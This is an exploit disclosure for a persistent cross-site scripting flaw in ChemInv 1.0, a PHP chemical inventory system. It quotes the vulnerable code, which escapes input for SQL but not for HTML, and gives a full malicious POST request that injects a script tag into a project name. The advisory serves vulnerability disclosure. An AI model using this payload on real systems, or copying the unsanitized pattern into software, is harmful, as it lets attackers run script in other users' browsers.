cheminv 1.0 authenticated persistent crosssite scripting

				
# Exploit Title: ChemInv 1.0 - Authenticated Persistent Cross-Site Scripting
# Exploit Author: Bobby Cooke
# Date: 2020-04-29
# Software Link: https://github.com/tmorrell/cheminv
# Software Info: 
# "Cheminv is a web-based chemical inventory system. This responsive database provides an accessible way to organize and order chemicals, and is provided as an open-source package for all non-commercial users."
# "Cheminv was created by Thomas Morrell for the Haw Yang Lab at Princeton University"
# "Cheminv is based on ecDB www.ecDB.net, which was created by Nils Fredriksson aka. ElectricMan and designed by Buildlog."
# Version: 1
# Tested On: CentOS
# Vulnerability Type: 
# ChemInv suffers from a persistent cross-site scripting vulnerability(XSS). This vulnerability can be exploited to have all users of the system, with read access to the project, execute malicious client-side code; every time the users views the 'Projects' or 'Add Chemicals' tab.
# The application's source code mitigates SQL injection (SQLi), but fails to sanitize HTML and JavaScript injections to the SQL database. 

# Vulnerable Source Code
## proj_list.php
 33                  include('include/include_proj_add.php');
 34                         $AddProj = new ProjAdd;
 35                         $AddProj->AddProj();
 36                         
 37                         $proj_query = mysql_query("SELECT * FROM projects WHERE project_owner= $owner");
## include/include_proj_add.php
  2 class ProjAdd {
  3     public function AddProj () {
  4
  5         require_once('include/login/auth.php');
  6         include('include/mysql_connect.php');
  7
  8         if(isset($_POST['submit'])) {
  9             $owner          =   $_SESSION['SESS_MEMBER_ID'];
 10             $name           =   mysql_real_escape_string($_POST['name']);
 11
 12             if ($name == '') {
 13                 echo '<div class="message red">';
 14                 echo 'You have to specify a name!';
 15                 echo '</div>';
 16             }
 17             else {
 18                 $sql="INSERT into projects (project_owner, project_name) VALUES ('$owner', '$name')";
 19                 $sql_exec = mysql_query($sql);

# Malicious POST Request to https://TARGET/proj_list.php
  POST /proj_list.php HTTP/1.1
  Host: TARGET
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: https://TARGET/proj_list.php
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 16
  Connection: close
  Cookie: PHPSESSID=7af5kg3to8fstfum0to1ukpb85
  
  name=evilProject<script>alert('XSS');</script>&submit=
            
				

Cheminv 1.0 authenticated persistent crosssite scripting Vulnerability / Exploit Source : Cheminv 1.0 authenticated persistent crosssite scripting